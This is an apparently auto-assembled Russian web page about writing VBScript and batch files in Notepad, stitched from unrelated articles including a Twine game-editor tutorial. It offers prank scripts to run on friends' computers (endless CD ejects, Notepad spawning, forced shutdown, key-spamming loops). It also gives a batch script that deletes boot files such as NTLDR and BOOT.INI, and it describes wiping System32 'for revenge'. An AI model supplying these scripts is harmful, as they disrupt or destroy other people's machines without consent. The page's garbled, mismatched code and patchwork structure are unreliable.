webdonsk.ruКак сделать игру на vbs
Добавил пользователь Евгений Кузнецов Обновлено: 10.09.2024
Как создавать диалоговые окна с помощью VBScript? Всем привет, в этом уроке я вам покажу, как быстро создавать диалоговые окна в Windows, с помощью которых мы так часто подшучиваем над своими коллегами. Я представлю небольшой обзор команд с пояснениями для того, чтобы вы не просто копировали диалоговые окна с сайта, а смогли сами импровизировать, одновременно обучаясь. Это будет знакомый вам по предыдущим компьютерным приколам скриптовый язык VBScript, и всё, что нам как всегда понадобится, это простой Блокнот, который мы, после заполнения кода, будем сохранять в укромном месте с расширением .vbs.
VBScript — это простой язык программирования, исполняемый в системе сценарием Windows Script Host. Легко кодируется в Блокноте, а лучше в специальных текстовых редакторах с расширенными возможностями, как например, AkelPad или Notepad ++ (они, в отличие от встроенного Блокнота, понимают русскую кодировку; выберите Кириллицу — Windows-1251). Именно эта связка сценария и скрипта используется Windows для того, чтобы создавать диалоговые окна . Это гораздо проще, чем использовать такие языки как С и С ++. Однако подробное знакомство с VBScript задачей настоящей статьи не ставилось; здесь я лишь приведу ряд конкретных примеров того как создавать диалоговые окна с более-менее осмысленным для читающего содержанием и вариантами развития событий по результатам действий.
Как создавать диалоговые окна с ошибкой?
Диалоговые окна VBS: множество постоянных и переменных.
Просто повторите скрипт так:
Кстати, появление окна можно запустить по кругу, указав в скрипте команду на запуск его же по нажатию на любую из кнопок:
где скрипт.vbs и есть тот самый скрипт, лежащий, скажем, на Рабочем столе (C:\Users\1\Desktop\). При этом избавиться от окна можно будет только через Диспетчер задач. Скрипт может также содержать и какую-то другую одну или несколько команд. Например, пара вводимых переменных не просто создаст интерактивный диалог, но запустит программу. Например, браузер. Ну, или не запустит:
Одной из первых вещей, которую человек изучает во время обучения использованию компьютера, является приложение под названием блокнот. Почти все знают, что такое блокнот, и, несмотря на то, что он простое и функциональное приложение, какой силой он на самом деле обладает. Можно буквально уничтожить чей-то компьютер с помощью блокнота, а также решить большие проблемы с помощью блокнота. Хорошо, блокнот не делает все, что я сказал сам по себе, но все же. Это платформа, на которой можно написать исходный код, который затем можно скомпилировать и прочее. Таким образом, изучение нескольких небольших приемов с блокнотом не повредит нашим шансам похвастаться или, возможно, получить другое представление о том, что блокнот действительно может сделать.
Итак, вот 15 классных трюков блокнота, которые вы должны попробовать:
1. Постоянно выдвигайте CD-привод с помощью блокнота
Тебе не кажется, что было бы весело, если бы ты мог играть со своим другом, снова и снова заставляя его CD-привод? Просто введите текст ниже в блокнот и сохраните его в виде файла .vbs . Дважды щелкните файл .vbs, чтобы увидеть его работу.
Set oWMP = CreateObject(“WMPlayer.OCX.7?)
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
2. Завершение работы компьютера с помощью блокнота
@echo off
msg * System will now shut down
shutdown -c “Bye!” –s
3. Постоянно открывайте Блокнот на компьютере вашего друга
Еще один трюк с блокнотом, чтобы поиграть с системой вашего друга, состоит в том, чтобы запустить команду, которая будет периодически открывать его / ее блокнот.
@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top
Сохраните его как файл .vbs и откройте его, чтобы посмотреть, что произойдет.
4. Сделать личный журнал или дневник
5. Матричный эффект
Теперь мы обсудим трюк с Блокнотом, который может превратить нашу командную строку в нечто, похожее на то, что оно только что вышло из фильма матрицы, или, может быть, что-то похожее на что-то прямо из системы хакера. Для этого все, что вам нужно сделать, это вставить следующий код в блокноте
@echo off
color 02
:start
echo %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%
goto start
Теперь вам нужно сохранить этот файл с расширением .bat, и после нажатия на файл .bat, который вы создали, вы увидите нечто подобное.
Небольшая настройка для настройки этого крутого эффекта заключается в том, что вы можете изменить значение перед цветом, то есть 02 в цвете 02, на любое другое значение, например, например, на 03; это изменит цвет текста, который появляется в командной строке.
Назначьте разные значения цвету и получайте удовольствие.
6. Несколько раз переключите Capslock, используя Блокнот
Вы можете играть с чьим-то компьютером или, возможно, с вашим собственным компьютером, написав скрипт, который может неоднократно переключать Caps Lock.
Просто скопируйте и вставьте код, записанный ниже, в блокнот.
Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “”
loop
Теперь сохраните его как файл .vbs и используйте его, чтобы увидеть магию.
7. печатать медленно
Это трюк, который заставит текст печататься медленно, попробуйте, просто скопируйте и вставьте текст ниже в блокнот и сохраните его как файл .vbs .
Он ничего не делает, но вводит небольшую задержку между различными строками, которые он вводит.
8. Преобразование текста в речь с помощью блокнота.
Просто скопируйте и вставьте код внизу в блокнот и сохраните как файл .vbs . Когда вы играете в нее, вы получите диалоговое окно с вопросом, что вы хотите сказать компьютеру. Повеселись.
Dim message, sapi
message=InputBox("What do you want me to say?", "Speak to Me")
Set sapi=CreateObject("sapi.spvoice")
sapi.Speak message
9. Всемирный торговый центр Атака
Это очень крутой трюк, но, к сожалению, это обман, поскольку ни один такой полет не ударил по башням-близнецам.
10. Изменение верхнего и нижнего колонтитула в блокноте
& l Выровнять по левому краю следующие символы
& c Центрировать символы, которые следуют
& r Выровняйте справа символы, которые следуют
& d Распечатать текущую дату
& t Распечатать текущее время
& f Распечатать название документа
& p Распечатать номер страницы
11. Удаление загрузочных файлов с помощью блокнота
Один из способов уничтожить компьютер - удалить файлы, которые помогают ему запустить компьютер. Хотя это не рекомендуется, это код, который имеет право сделать это.
@ECHO OFF
ATTRIB -R -S -HC:\AUTOEXEC.BAT
DEL C:\AUTOEXEC.BAT
ATTRIB -R -S -HC:\BOOT.INI
DEL C:\BOOT.INI
ATTRIB -R -S -HC:\NTLDR
DEL C:\NTLDR
ATTRIB -R -S -HC:\WINDOWS\WIN.INI
DEL C:\WINDOWS\WIN.INI
SAVE IT AS .BAT FILE.
Это выключит компьютер и удалит файлы, необходимые для приведения компьютера в нормальное состояние.
Не пытайтесь делать это на вашем компьютере до тех пор, пока вы не захотите потерять все свои данные.
12. Удаление файлов System32 с помощью блокнота
Хотите отомстить кому-то? Просто используйте этот код, сохраните его как файл .bat и посмотрите, что он делает с системой этого человека. Это удалит все файлы System32, необходимые для работы системы в порядке.
Просто вставьте следующее в блокнот и сохраните его как файл .bat.
13. Хит Enter непрерывно
Что, если мы хотим, чтобы функция нашей кнопки ввода повторялась снова и снова, лучше, чем нажимать ее снова и снова, - использовать приведенный ниже код
Set wshShell = wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “~(enter)”
loop
Сохраните его как файл .vbs и посмотрите его волшебство
14. Хит Backspace постоянно
Хорошо, нам нужна кнопка возврата, но что мы хотим раздражать кого-то и заставлять его нажимать себя снова и снова, механически это потребует некоторой работы с нашей стороны, но если мы просто используем этот код, это станет намного проще,
MsgBox “Backspace again and again and AGAIN”
Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “”
loop
Сохраните как файл .vbs, чтобы он работал.
15. Набирать что-то снова и снова
Код для ввода чего-либо снова и снова упоминается ниже, вы можете использовать его для записи чего-либо снова и снова и снова, пока не выйдете из цикла.
Set wshShell = wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “I'll be typed again and again”
loop
сохраните его как файл .vbs, чтобы он работал.
Важная заметка. Если вы получаете ошибки, говоря неправильные символы, попробуйте ввести в кодах двойные кавычки.
С этой статьей вы не научитесь программировать и даже не напишите как таковую программу, но найдете здесь отличные VBS скрипты и BAT файлы, которые без проблем напишете в обычном блокноте Windows, сможете усовершенствовать по своему, потом похвастаться перед друзьями и близкими. Возможно это поднимет вам настроение и вы отлично проведете время.
Данных расширений (vbs, bat) файлы создаются во всеми известном Блокноте Windows (Notepad). Для большего удобства создания скриптов рекомендуется использовать усовершенствованный (скажем так) блокнот — Notepad++. Он удобен подсветкой синтаксиса большого количества языков программирования, если вам это мало о чем говорит, то скачайте и пишите в нем — ошибок сделаете меньше в коде, ну или будет их проще найти, чем в том же мало функциональном Блокноте Windows.
Для наглядности пример (слева — Блокнот Windows, справа — Notepad++):
Приступим
Если вы уже знакомы с VBS скриптами и батниками, то скорее всего нижеследующие примеры вам будут неинтересны, если же вы новичок, то для первоначального ознакомления — то, что нужно.
Научим компьютер здороваться
- Открываем Блокнот (или Notepad Plus Plus).
- Копируем в вставляем код:
Читать еще: Как сделать пузырьковую диаграмму в excel
Один нюанс: если вы прописали в кавычках слова русскими буквами, а при запуске произносится непонятно что, то у вас просто не установлен русский голосовой движок. Подробная установка и настройка голосового движка выходит за рамки нашей статьи, поэтому более подробно ознакомьтесь здесь и вновь возвращайтесь сюда.
Все просто, программу (скрипт) добавить в автозагрузку можно таким же образом, то есть через такой же VBS скрипт. Создаем файл в блокноте, копируем/вставляем (Ctrl+C/Ctrl+V) следующий код:
Открыть дисковод
Есть более интересная модификация данного скрипта:
В данном случае будет все время открываться-закрываться CD/DVD-привод, на ноутбуках в этом случае будет открываться после каждого его закрытия.
Внимание! Второй код (открытие-закрытие дисковода), некоторые антивирусы видят как вредоносную программу. Антивирус Касперского (в т.ч. и Kaspersky Free) его видит именно так и уничтожает сразу же. В первом же случае (просто открытие дисковода) для антивирусных программ не является вредоносным скриптом.
Чтобы прекратить автоматически открывать-закрывать дисковод необходимо:
Игра
Интересная находка из Сети — игра на VBS. Необходимо угадать число от 0 до 100. Скрипт автоматически при запуске задает (разгадывает) число, которое вам необходимо угадать и ввести в специальном окошке, при неправильном ответе даются подсказки, например меньше или больше.
Ну и перед тем как переходить к батникам (.BAT) воспользуемся самым полезным VBS скриптом из всех перечисленных в этой статье.
Скрипт закрывающий wscript.exe
По сути он делает тоже самое, что чуть выше объяснялось в диспетчере задач, как например нельзя просто взять и закрыть надоедливый скрипт открывающий-закрывающий дисковод, а запустив данный скрипт все запущенные будут закрыты. Это как клин клином вышибают.
Немного познакомились с VBS скриптами и о том как их писать в блокноте, теперь рассмотрим несколько примеров использования BAT файлов (далее — батник).
Завершение работы /Перезагрузка компьютера
Совсем простой батник состоящий всего из одной строки.
- Открываем Блокнот.
- Пишем следующий код:
shutdown -s -t 1 -c -f
Читать еще: Как сделать шкатулку для денег
Есть такой вариант кода:
shutdown -r -t 1 -c -f
Все также, прописываем в блокноте, сохраняем с расширением .bat и после запуска компьютер перезагрузится (обычная перезагрузка компьютера).
Удаление обновлений
Данный батник пригодится в том случае, если вы уже обновились до Windows 10. В чем суть? В этом батнике перечислены команды по удалению нескольких обновлений, как видно из названия — обновления телеметрии, или как раз одна из шпионских штучек системы, мы однажды уже говорили как отключить функции слежки Windows 10, в данном же случае вы просто создаете батник, в содержимое копируете код ниже и запускаете, после чего будут удалены перечисленные обновления.
@echo echo echo Step 1: Delete Updates Telemetry wusa /uninstall /kb:3068708 /quiet /norestart wusa /uninstall /kb:3022345 /quiet /norestart wusa /uninstall /kb:3075249 /quiet /norestart wusa /uninstall /kb:3080149 /quiet /norestart
Таким образом можно удалить абсолютно любое обновление, даже назойливое KB971033 которое проверяет копию Windows 7 на подлинность.
В Интернете встречается много различных скриптов, якобы безвредных, но будьте осторожны, прежде чем пробовать непонятно какой скрипт, некоторые из них могут навредить, например — вносить изменения в реестр, а в случае каких ошибок система будет выдавать ошибки, в таком случае придется или восстанавливать реестр Windows или сделать восстановление системы.
Тёмная тема, язык и подготовка к работе
При открытии Twine выглядит примерно так. У вас, скорее всего, он будет светлым.
По умолчанию Twine включает светлую тему
Чтобы включить тёмную/светлую тему, надо кликнуть на иконке луны или солнца внизу справа.
Чтобы выбрать русификацию или адаптацию под другой язык, нажмите на кнопку Language и выбирайте. Есть украинский, китайский, испанский… всего 20 локализаций. Это влияет только на внешний вид самого редактора, текстовая игра будет на том языке, на котором вы будете набирать текст, что видно на скриншоте.
Внимание: каждая локализация хранит свои текстовые игры в отдельной папке, поэтому если вы начали писать проект под одним языком, а затем решили включить в Twine какой-то другой — не пугайтесь тому, что ваши игры исчезли. Это поведение характерно для последней версии (2.3.5), по которой написана статья. В будущем, возможно, это исправят.
Stories и Истории — исходники для разных локализаций Twine (не игр!) лежат в разных папках
Мне кажется, это всё, что надо знать по подготовке. Включите тёмную или светлую тему, выберите язык и начинайте эксперимент.
Видео
Как добавить переход к другой локации
Чтобы добавить переход, действие или выбор в диалоге, введите двойные квадратные скобки, а внутри напишите название параграфа, к которому надо перейти. Вот так
[[Облизать муравьиную тропу]]
Как только вы это сделаете, Twine тут же создаст второй параграф с этим именем. А если такой параграф уже есть, просто соединит их переходами.
Если вы послушались моего совета и начали писать параграфы с компактными именами, да ещё с цифрами и сокращениями, то для того, чтобы выбор содержал человеческий текст, надо писать по шаблону
[[Текст выбора|название параграфа, куда идти]]
[[Облизать муравьиную тропу|ants]]
Жмите на крестик в верхнем углу и закрывайте параграф. Теперь в редакторе лежит несколько узлов будущей игры. Их можно перетаскивать как угодно.
Чтобы удалить неудачный или лишний параграф, используйте клавишу Delete или иконку с корзиной из всплывающего меню, которое появляется при наведении мышки на параграф.
В принципе, это всё, что нужно знать для старта. Пишите локации, придумывайте варианты, создавайте смешные переходы и радуйте друзей. А чтобы их порадовать и заодно посмотреть игру в действии, можно запустить игру в браузере или экспортировать её вообще как отдельную HTML-страницу.
VBScript - скриптовый язык программирования, который поддерживается операционными системами Microsoft Windows. С его помощью можно реализовать выполнение самых разных задач, от администрирования компьютера, до автоматизации пользовательских действий. Несомненным плюсом VBScript является тот факт, что для его работы не требуется установка каких-либо программ или обновлений - интерпретатор встроен в Windows по умолчанию (за исключением Windows 95, Windows NT 4.0 и Windows CE 3.0).
Давайте же разберем, как создать VBScript файл и как с его помощью можно выполнить простейшие операции.
Создание простого VBScript файла
Открываем Блокнот, и пишем туда следующее:
Нажимаем на меню Файл - Сохранить как, и в самом низу выбираем кодировку - ANSI. Затем, выбираем любое удобное место для сохранения, и сохраняем данный файл с именем helloworld.vbs .
Теперь, можно попробовать запустить двойным щелчком получившийся файл - в результате должно появится окно с надписью "Привет мир!".
Вот таким образом был создан простой VBScript файл. Если же, вы получили совсем не то, что должно было быть - переходим к следующему разделу данной статьи.
Возможные проблемы
При запуске VBScript файла открывается Блокнот
Если при двойном щелчке по ранее созданному вами файлу, у вас открывается Блокнот, убедитесь, что вы сохраняете файл с расширением .vbs в конце названия файла.
Текст отображается крякозябрами
Если при запуске созданного VBScript файла вы получили примерно следующее:
То проверьте, что при сохранении файла, вы установили значение "Кодировка" равное ANSI.
Читайте также: